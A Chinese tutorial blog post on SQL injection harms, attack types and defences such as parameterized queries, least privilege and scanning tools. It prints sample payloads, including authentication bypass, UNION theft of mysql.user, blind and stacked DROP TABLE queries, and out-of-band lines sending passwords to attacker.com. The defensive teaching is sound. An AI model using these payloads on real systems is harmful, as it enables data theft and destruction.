SQL注入如何危害数据库?防御措施有哪些

SQL注入的常见攻击方式包括:基于UNION的注入通过合并查询窃取数据;基于错误的注入利用数据库错误信息泄露敏感内容;盲注通过布尔判断或时间延迟推断数据;堆叠查询执行多条SQL语句;带外注入利用外部通道传输数据。这些攻击均利用用户输入未严格过滤的漏洞,实现数据泄露、篡改、权限绕过甚至服务器控制。防御核心是使用参数化查询、输入验证、最小权限原则,并结合WAF与安全开发流程,形成多层次防护体系。

sql注入如何危害数据库?防御措施有哪些

SQL注入本质上是利用应用程序对用户输入信任的漏洞,将恶意SQL代码混入正常的数据库查询中。这会直接导致数据库的数据泄露、篡改甚至删除,攻击者可能借此绕过身份验证、获取敏感信息,最严重时甚至能完全控制底层服务器,其危害不容小觑。防御SQL注入的核心在于将用户输入视为数据而非代码,通过参数化查询、严格的输入验证和最小权限原则来构建多层次的防护。

解决方案

在我看来,SQL注入的危害远不止数据泄露那么简单,它更像是一扇被意外打开的后门,让攻击者得以窥探甚至掌控你的核心资产。想象一下,如果一个电商网站的订单数据被随意修改,或者用户的支付信息被窃取,那对企业信誉和用户信任将是毁灭性的打击。我曾经亲眼看到,一个看似不起眼的SQL注入漏洞,最终导致了整个客户数据库的沦陷,那真是触目惊心。

从技术层面看,SQL注入的危害路径通常包括:

数据窃取与泄露: 这是最常见的危害。攻击者可以通过注入恶意SQL语句,查询并导出数据库中的敏感信息,比如用户凭证(用户名、密码哈希)、个人身份信息、财务数据、商业机密等。这通常利用

UNION

操作符将恶意查询结果附加到合法查询结果中。数据篡改与删除: 攻击者可以执行

UPDATE

DELETE

甚至

DROP TABLE

等操作,随意修改、删除现有数据,或者直接销毁整个数据库表。这可能导致业务中断、数据丢失,造成巨大经济损失。身份验证绕过: 攻击者可以注入

' OR 1=1 --

之类的语句,使得登录验证逻辑始终为真,从而无需密码即可登录系统,获取管理员权限。远程代码执行(RCE): 在某些数据库系统(如MySQL的

LOAD_FILE

,MSSQL的

xp_cmdshell

)中,如果数据库用户拥有足够高的操作系统权限,攻击者甚至可以通过SQL注入执行操作系统命令,上传或下载文件,最终完全控制服务器。这无疑是最致命的攻击。拒绝服务(DoS): 攻击者可以通过执行复杂的、资源消耗巨大的SQL查询,或者锁定关键数据库表,导致数据库性能急剧下降甚至崩溃,使合法用户无法访问服务。

要有效防御SQL注入,我们必须从根源上解决问题,而不是修修补补。这需要开发者在编码习惯、架构设计和运维策略上都保持高度警惕。

首先,也是最重要的,就是使用参数化查询(Prepared Statements)或ORM(Object-Relational Mapping)。这是防御SQL注入的黄金法则,没有之一。它的原理很简单:将SQL代码和用户输入的数据严格分离。当你使用参数化查询时,数据库会先解析SQL语句的结构,确定哪些是代码,哪些是占位符(数据),然后再将用户输入的值绑定到这些占位符上。这样一来,即使用户输入了恶意SQL片段,数据库也只会把它当作普通数据来处理,而不会执行它。

举个例子,假设你用Python的

psycopg2

库操作PostgreSQL:

# 错误的做法:容易被SQL注入# username = "admin' OR 1=1 --"# cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")# 正确的做法:使用参数化查询username = "admin' OR 1=1 --"cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

在第二种情况中,

%s

是一个占位符,无论

username

变量的值是什么,数据库都只会把它当作一个字符串参数来匹配,而不是当作SQL命令的一部分。ORM框架,如Django的ORM、SQLAlchemy,也内置了对参数化查询的支持,大大降低了开发者的心智负担。

其次,严格的输入验证和过滤是不可或缺的。虽然参数化查询是主要防线,但输入验证提供了额外的安全层。我的经验是,不要相信任何来自用户的数据,即使它看起来无害。所有用户输入,包括URL参数、表单字段、HTTP头信息,都应该进行验证。

白名单验证: 这是最安全的方式。明确定义允许的字符集、数据类型、长度和格式。例如,如果一个字段只允许数字,那就只接受数字。如果一个字段是邮箱,那就严格验证邮箱格式。最小化特权原则: 数据库用户账号应该只拥有完成其任务所需的最小权限。例如,一个Web应用连接数据库的用户,通常只需要

SELECT

INSERT

UPDATE

DELETE

权限,绝不应该拥有

DROP TABLE

CREATE USER

或者执行系统命令的权限。这能有效限制即使发生注入,攻击者所能造成的损害范围。错误信息处理: 生产环境中,绝不应该将详细的数据库错误信息直接暴露给用户。这些错误信息往往包含数据库结构、表名、字段名等敏感信息,能为攻击者提供宝贵的攻击线索。应该捕获这些错误,记录在内部日志中,并向用户显示一个通用的、友好的错误页面。Web应用防火墙(WAF): WAF可以作为一道额外的屏障,在网络边缘对传入的请求进行实时分析和过滤,阻挡已知的SQL注入攻击模式。它虽然不能替代代码层面的防护,但能提供一层有效的应急响应和缓解措施。

在我看来,防御SQL注入是一个系统工程,没有一劳永逸的解决方案。它要求开发者具备安全意识,理解攻击原理,并在整个软件生命周期中持续关注安全实践。

SQL注入的常见攻击方式有哪些?

理解SQL注入的攻击方式,有助于我们更好地构筑防御体系,就像知己知彼才能百战不殆。我个人觉得,很多开发者在初次接触时,往往只停留在

' OR 1=1 --

这种最简单的例子上,但实际情况远比这复杂和精巧。攻击者会根据目标应用程序的响应,采用不同的策略,这正是这项技术“艺术性”的一面。

基于UNION的注入(Union-based SQLi):

原理: 这种方式利用

UNION SELECT

语句将攻击者构造的查询结果与原始查询结果合并,并返回给应用程序。攻击者通常需要先猜测目标表的列数和列类型,然后才能成功注入。示例:

SELECT name, email FROM users WHERE id = 1 UNION SELECT password, version() FROM mysql.user;

危害: 可以直接从数据库中窃取任意数据,例如其他表中的敏感信息。

基于错误的注入(Error-based SQLi):

原理: 当应用程序没有妥善处理数据库错误时,攻击者可以通过构造会导致特定错误(如类型转换错误、重复键错误等)的SQL语句,并将想要获取的数据作为错误信息的一部分输出。示例:

SELECT * FROM products WHERE id = 1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a);

(MySQL的ExtractValue或UpdateXML函数也常用于此)危害: 攻击者可以逐步提取数据库信息,即使应用程序没有直接显示查询结果。

盲注(Blind SQLi):

原理: 当应用程序不返回任何数据库错误信息,也不显示查询结果时,攻击者需要通过观察应用程序的响应(如页面内容变化、响应时间)来推断数据库中的信息。这是一种非常耗时但极其有效的攻击方式。布尔盲注(Boolean-based Blind SQLi): 攻击者构造的SQL语句会根据条件真假导致页面内容发生细微变化(例如,页面显示“用户存在”或“用户不存在”)。通过逐个字符或逐位猜测,判断条件是否为真。时间盲注(Time-based Blind SQLi): 当页面没有任何可见变化时,攻击者会利用数据库的延时函数(如

SLEEP()

pg_sleep()

WAITFOR DELAY

)来判断条件是否为真。如果条件为真,数据库会执行延时操作,导致页面响应时间变长。示例(时间盲注):

SELECT * FROM users WHERE id = 1 AND IF(SUBSTRING(version(), 1, 1) = '5', SLEEP(5), 0);

危害: 尽管过程缓慢,但最终同样可以窃取数据库中的所有数据。

堆叠查询注入(Stacked Queries SQLi):

原理: 这种攻击方式通过在合法查询后添加分号(

;

)来执行额外的SQL语句。它允许攻击者执行多个独立的SQL语句,包括数据定义语言(DDL)和数据控制语言(DCL)语句。示例:

SELECT * FROM users WHERE id = 1; DROP TABLE products;

限制: 并非所有数据库接口都支持堆叠查询,例如PHP的

mysqli_query()

支持,但

mysqli_prepare()

和Java的

PreparedStatement

通常不支持。危害: 如果支持,攻击者可以执行任意SQL命令,包括删除表、修改权限等,破坏性极大。

带外注入(Out-of-band SQLi):

有道小P 有道小P

有道小P,新一代AI全科学习助手,在学习中遇到任何问题都可以问我。

有道小P 64 查看详情 有道小P 原理: 攻击者利用数据库的某些功能(如DNS查询、HTTP请求)将数据发送到攻击者控制的外部服务器。当数据库执行恶意SQL语句时,会触发外部请求,从而将数据传输出去。示例:

SELECT LOAD_FILE(CONCAT('\', (SELECT password FROM users WHERE id=1), '.attacker.comshare'));

(MySQL) 或

SELECT UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT user FROM dual)) FROM dual;

(Oracle)危害: 即使在严格的网络环境中,也能绕过一些数据泄露的检测机制,悄无声息地窃取数据。

这些攻击方式的复杂程度和隐蔽性各不相同,但它们都指向同一个目标:绕过应用程序的预期逻辑,直接与数据库进行“对话”。作为开发者,我们需要对这些技巧有所了解,才能在设计和实现时,更全面地考虑潜在的风险点。

如何在开发过程中有效预防SQL注入?

预防SQL注入,我觉得这不仅仅是写几行代码那么简单,它更是一种开发哲学,一种对安全负责的态度。在我的开发生涯中,我见过太多因为“赶工期”、“觉得不可能发生”而埋下的安全隐患。真正的预防,应该融入到开发的每一个环节中。

拥抱参数化查询和ORM:

这应该成为团队的强制性开发规范。无论使用哪种语言和框架,只要涉及数据库操作,就必须优先考虑参数化查询或ORM。在Java中是

PreparedStatement

,在Python中是

psycopg2

MySQLdb

的参数化方法,在.NET中是

SqlCommand

的参数化。对于使用ORM的框架,如Django、Laravel、Ruby on Rails,其ORM层通常已经内置了对SQL注入的防护。开发者应该充分利用这些特性,而不是绕过ORM直接拼接SQL。如果确实需要手写SQL,也务必使用框架提供的参数化查询接口。代码审查(Code Review)时,SQL注入防护应该作为重点审查项。任何直接拼接用户输入的SQL语句都应该被标记为高风险,并要求整改。

严格的输入验证与净化:

白名单机制是王道。 不要试图去“过滤”或“黑名单”那些已知的恶意字符,因为攻击者总能找到绕过的方式。正确的做法是,明确规定哪些字符、格式、长度是允许的。例如,如果一个字段只接受数字ID,那就强制转换为整数类型;如果是一个日期字段,就验证其是否符合日期格式。在服务器端进行验证。 客户端验证(如JavaScript)只是为了提供更好的用户体验,绝不能作为安全防线。所有用户提交的数据都必须在服务器端再次进行严格验证。输出编码(Output Encoding)。 虽然这主要是为了防御XSS,但有时也能间接帮助避免某些复杂的注入。将从数据库中取出的数据在显示到Web页面之前进行适当的HTML实体编码,以防数据中包含的特殊字符被浏览器误解析。

最小权限原则(Principle of Least Privilege):

为应用程序连接数据库创建专用的数据库用户,并只授予其完成任务所需的最小权限。例如,一个只用于查询的Web服务,其数据库用户就不应该有

INSERT

UPDATE

DELETE

甚至

CREATE

DROP

表的权限。避免使用

root

sa

等高权限账户连接数据库。即使应用程序被注入,攻击者也只能在有限的权限范围内进行操作,大大降低了危害。

安全配置与错误处理:

禁用不必要的数据库功能: 许多数据库系统默认开启了一些可能被滥用的功能(如

xp_cmdshell

在SQL Server中),如果应用程序不需要,就应该禁用它们。日志记录: 记录所有数据库操作和异常,这对于事后审计和分析攻击行为至关重要。友好的错误信息: 生产环境中,永远不要向用户显示详细的数据库错误信息。这些信息可能包含敏感的数据库结构细节,为攻击者提供线索。捕获异常,并向用户显示一个通用的、无害的错误页面。

开发者安全培训与意识提升:

这可能是最被忽视,但却极其重要的一点。团队成员需要理解SQL注入的原理、危害和预防方法。定期的安全培训、分享最新的攻击案例和防御技术,能够显著提升整个团队的安全意识。当开发者从一开始就带着安全思维去设计和编码时,许多漏洞就能在萌芽阶段被扼杀。

说实话,有时候我们可能会觉得这些安全措施有点繁琐,会增加开发成本。但从长远来看,投入在安全上的时间和精力,远比事后处理安全事件的成本要低得多。毕竟,一旦数据库被攻破,带来的损失往往是难以估量的。

SQL注入检测工具有哪些,它们的工作原理是什么?

在实际操作中,即使我们再小心,也难免会有疏漏。所以,除了预防,学会如何检测和发现潜在的SQL注入漏洞也同样重要。我发现很多时候,一个看似不起眼的测试,就能发现一个巨大的安全隐患。检测工具就像是我们的“侦察兵”,它们能帮助我们系统性地找出那些可能被忽略的角落。

手动渗透测试:

工作原理: 这是最直接、最灵活的方式。经验丰富的渗透测试人员会像攻击者一样,通过浏览器、HTTP代理工具(如Burp Suite、OWASP ZAP)手动构造各种恶意SQL payload,尝试注入到应用程序的各个输入点(URL参数、POST数据、HTTP头、Cookie等),并观察应用程序的响应。他们会根据响应的变化(如错误信息、页面内容变化、响应时间延迟)来判断是否存在注入点。特点: 这种方式对测试人员的经验和技能要求很高,但能发现自动化工具难以识别的复杂或逻辑型漏洞。

自动化SQL注入检测工具:

SQLMap:工作原理: SQLMap是目前最强大、最广泛使用的开源SQL注入自动化工具。它通过一系列复杂的算法和payload,自动化地检测和利用SQL注入漏洞。它能识别多种数据库(MySQL, PostgreSQL, Oracle, MSSQL等),支持多种注入技术(布尔盲注、时间盲注、基于错误、基于联合查询、堆叠查询、带外注入等)。SQLMap会向目标应用程序发送大量构造好的HTTP请求,并分析响应,例如查找特定的错误信息、观察页面内容的微小变化、计算响应时间,以确定是否存在漏洞并进一步提取数据。功能: 除了检测,SQLMap还能自动化地枚举数据库信息(数据库名、表名、列名)、读取文件、写入文件,甚至在某些情况下获取操作系统shell。OWASP ZAP (Zed Attack Proxy) / Burp Suite:工作原理: 这两款是知名的Web应用安全测试代理工具。它们的工作模式是作为浏览器和Web服务器之间的中间人。在代理模式下,它们可以拦截、修改和重放HTTP请求和响应。它们都内置了主动扫描器(Active Scanner),可以对应用程序进行自动化漏洞扫描,其中就包括SQL注入检测。扫描器会向应用程序的输入点发送各种预定义的SQL注入payload,并分析应用程序的响应来判断漏洞。Burp Suite的专业版在SQL注入检测方面尤其强大。特点: 它们不仅能检测SQL注入,还能发现XSS、CSRF等多种Web漏洞,是渗透测试人员的瑞士军刀。

静态应用安全测试(SAST)工具:

工作原理: SAST工具通过分析应用程序的源代码、字节码或二进制文件,在不运行代码的情况下,识别潜在的安全漏洞。对于SQL注入,SAST工具会查找直接将用户输入拼接进SQL查询语句的代码模式,或者识别未使用参数化查询的数据库操作。示例: SonarQube、Checkmarx、Fortify等。特点: 可以在开发早期发现漏洞,帮助开发者在代码提交前修复问题。但它可能存在误报,且无法检测运行时才出现的逻辑漏洞。

动态应用安全测试(DAST)工具:

工作原理: DAST工具通过模拟攻击者对运行中的应用程序进行测试。它会像用户一样与应用程序交互,发送各种恶意输入,并分析应用程序的响应。与SAST不同,DAST是在实际运行环境中检测漏洞,因此可以发现SAST可能遗漏的运行时漏洞。示例: Acunetix、Netsparker等,以及上述的OWASP ZAP和Burp Suite的主动扫描功能。特点: 能够发现实际可利用的漏洞,但通常在开发后期或部署后使用,发现漏洞的成本相对较高。

我个人觉得,最理想的策略是结合使用这些工具:在开发阶段使用SAST进行初步检查,开发完成后进行DAST扫描,并在上线前或定期进行手动渗透测试。没有一个工具是万能的,但综合运用它们,能大大提高我们发现和修复SQL注入漏洞的能力。最终,工具只是辅助,关键还在于我们对安全的重视和持续投入。

以上就是SQL注入如何危害数据库?防御措施有哪些的详细内容,更多请关注php中文网其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/589569.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2025年11月10日 15:16:03
下一篇 2025年11月10日 15:16:55

相关推荐

  • 如何解决本地图片在使用 mask JS 库时出现的跨域错误?

    如何跨越localhost使用本地图片? 问题: 在本地使用mask js库时,引入本地图片会报跨域错误。 解决方案: 要解决此问题,需要使用本地服务器启动文件,以http或https协议访问图片,而不是使用file://协议。例如: python -m http.server 8000 然后,可以…

    2025年12月24日
    200
  • 使用 Mask 导入本地图片时,如何解决跨域问题?

    跨域疑难:如何解决 mask 引入本地图片产生的跨域问题? 在使用 mask 导入本地图片时,你可能会遇到令人沮丧的跨域错误。为什么会出现跨域问题呢?让我们深入了解一下: mask 框架假设你以 http(s) 协议加载你的 html 文件,而当使用 file:// 协议打开本地文件时,就会产生跨域…

    2025年12月24日
    200
  • HTMLrev 上的免费 HTML 网站模板

    HTMLrev 是唯一的人工策划的库专门专注于免费 HTML 模板,适用于由来自世界各地慷慨的模板创建者制作的网站、登陆页面、投资组合、博客、电子商务和管理仪表板世界。 这个人就是我自己 Devluc,我已经工作了 1 年多来构建、改进和更新这个很棒的免费资源。我自己就是一名模板制作者,所以我知道如…

    2025年12月24日
    300
  • 如何使用 Laravel 框架轻松整合微信支付与支付宝支付?

    如何通过 laravel 框架整合微信支付与支付宝支付 在 laravel 开发中,为电商网站或应用程序整合支付网关至关重要。其中,微信支付和支付宝是中国最流行的支付平台。本文将介绍如何使用 laravel 框架封装这两大支付平台。 一个简单有效的方法是使用业内认可的 easywechat lara…

    2025年12月24日
    000
  • Laravel 框架中如何无缝集成微信支付和支付宝支付?

    laravel 框架中微信支付和支付宝支付的封装 如何将微信支付和支付宝支付无缝集成到 laravel 框架中? 建议解决方案 考虑使用 easywechat 的 laravel 版本。easywechat 是一个成熟、维护良好的库,由腾讯官方人员开发,专为处理微信相关功能而设计。其 laravel…

    2025年12月24日
    300
  • 如何在 Laravel 框架中轻松集成微信支付和支付宝支付?

    如何用 laravel 框架集成微信支付和支付宝支付 问题:如何在 laravel 框架中集成微信支付和支付宝支付? 回答: 建议使用 easywechat 的 laravel 版,easywechat 是一个由腾讯工程师开发的高质量微信开放平台 sdk,已被广泛地应用于许多 laravel 项目中…

    2025年12月24日
    000
  • 使用Laravel框架如何整合微信支付和支付宝支付?

    使用 Laravel 框架整合微信支付和支付宝支付 在使用 Laravel 框架开发项目时,整合支付网关是常见的需求。对于微信支付和支付宝支付,推荐采用以下方法: 使用第三方库:EasyWeChat 的 Laravel 版本 建议直接使用现有的 EasyWeChat 的 Laravel 版本。该库由…

    2025年12月24日
    000
  • 如何将微信支付和支付宝支付无缝集成到 Laravel 框架中?

    如何简洁集成微信和支付宝支付到 Laravel 问题: 如何将微信支付和支付宝支付无缝集成到 Laravel 框架中? 答案: 强烈推荐使用流行的 Laravel 包 EasyWeChat,它由腾讯开发者维护。多年来,它一直保持更新,提供了一个稳定可靠的解决方案。 集成步骤: 安装 Laravel …

    2025年12月24日
    100
  • 正则表达式在文本验证中的常见问题有哪些?

    正则表达式助力文本输入验证 在文本输入框的验证中,经常遇到需要限定输入内容的情况。例如,输入框只能输入整数,第一位可以为负号。对于不会使用正则表达式的人来说,这可能是个难题。下面我们将提供三种正则表达式,分别满足不同的验证要求。 1. 可选负号,任意数量数字 如果输入框中允许第一位为负号,后面可输入…

    2025年12月24日
    000
  • 网络进化!

    Web 应用程序从静态网站到动态网页的演变是由对更具交互性、用户友好性和功能丰富的 Web 体验的需求推动的。以下是这种范式转变的概述: 1. 静态网站(1990 年代) 定义:静态网站由用 HTML 编写的固定内容组成。每个页面都是预先构建并存储在服务器上,并且向每个用户传递相同的内容。技术:HT…

    2025年12月24日
    000
  • 为什么多年的经验让我选择全栈而不是平均栈

    在全栈和平均栈开发方面工作了 6 年多,我可以告诉您,虽然这两种方法都是流行且有效的方法,但它们满足不同的需求,并且有自己的优点和缺点。这两个堆栈都可以帮助您创建 Web 应用程序,但它们的实现方式却截然不同。如果您在两者之间难以选择,我希望我在两者之间的经验能给您一些有用的见解。 在这篇文章中,我…

    2025年12月24日
    000
  • 姜戈顺风

    本教程演示如何在新项目中从头开始配置 django 和 tailwindcss。 django 设置 创建一个名为 .venv 的新虚拟环境。 # windows$ python -m venv .venv$ .venvscriptsactivate.ps1(.venv) $# macos/linu…

    2025年12月24日
    000
  • 花 $o 学习这些编程语言或免费

    → Python → JavaScript → Java → C# → 红宝石 → 斯威夫特 → 科特林 → C++ → PHP → 出发 → R → 打字稿 []https://x.com/e_opore/status/1811567830594388315?t=_j4nncuiy2wfbm7ic…

    2025年12月24日
    000
  • 项目实践:如何结合CSS和JavaScript打造优秀网页的经验总结

    项目实践:如何结合CSS和JavaScript打造优秀网页的经验总结 随着互联网的快速发展,网页设计已经成为了各行各业都离不开的一项技能。优秀的网页设计可以给用户留下深刻的印象,提升用户体验,增加用户的黏性和转化率。而要做出优秀的网页设计,除了对美学的理解和创意的运用外,还需要掌握一些基本的技能,如…

    2025年12月24日
    200
  • 学完HTML和CSS之后我应该做什么?

    网页开发是一段漫长的旅程,但是掌握了HTML和CSS技能意味着你已经赢得了一半的战斗。这两种语言对于学习网页开发技能来说非常重要和基础。现在不可或缺的是下一个问题,学完HTML和CSS之后我该做什么呢? 对这些问题的答案可以分为2-3个部分,你可以继续练习你的HTML和CSS编码,然后了解在学习完H…

    2025年12月24日
    000
  • 聊聊怎么利用CSS实现波浪进度条效果

    本篇文章给大家分享css 高阶技巧,介绍一下如何使用css实现波浪进度条效果,希望对大家有所帮助! 本文是 CSS Houdini 之 CSS Painting API 系列第三篇。 现代 CSS 之高阶图片渐隐消失术现代 CSS 高阶技巧,像 Canvas 一样自由绘图构建样式! 在上两篇中,我们…

    2025年12月24日 好文分享
    200
  • 巧用距离、角度及光影制作炫酷的 3D 文字特效

    如何利用 css 实现3d立体的数字?下面本篇文章就带大家巧用视觉障眼法,构建不一样的 3d 文字特效,希望对大家有所帮助! 最近群里有这样一个有意思的问题,大家在讨论,使用 CSS 3D 能否实现如下所示的效果: 这里的核心难点在于,如何利用 CSS 实现一个立体的数字?CSS 能做到吗? 不是特…

    2025年12月24日 好文分享
    000
  • CSS高阶技巧:实现图片渐隐消的多种方法

    将专注于实现复杂布局,兼容设备差异,制作酷炫动画,制作复杂交互,提升可访问性及构建奇思妙想效果等方面的内容。 在兼顾基础概述的同时,注重对技巧的挖掘,结合实际进行运用,欢迎大家关注。 正文从这里开始。 在过往,我们想要实现一个图片的渐隐消失。最常见的莫过于整体透明度的变化,像是这样: 立即学习“前端…

    2025年12月24日 好文分享
    000
  • css实现登录按钮炫酷效果(附代码实例)

    今天在网上看到一个炫酷的登录按钮效果;初看时感觉好牛掰;但是一点一点的抛开以后发现,并没有那么难;我会将全部代码贴出来;如果有不对的地方,大家指点一哈。 分析 我们抛开before不谈的话;其实原理和就是通过背景大小以及配合位置达到颜色渐变的效果。 text-transform: uppercase…

    2025年12月24日
    000
  • CSS flex布局属性:align-items和align-content的区别

    在用flex布局时,发现有两个属性功能好像有点类似:align-items和align-content,乍看之下,它们都是用于定义flex容器中元素在交叉轴(主轴为flex-deriction定义的方向,默认为row,那么交叉轴跟主轴垂直即为column,反之它们互调,flex基本的概念如下图所示)…

    2025年12月24日 好文分享
    000

发表回复

登录后才能评论
关注微信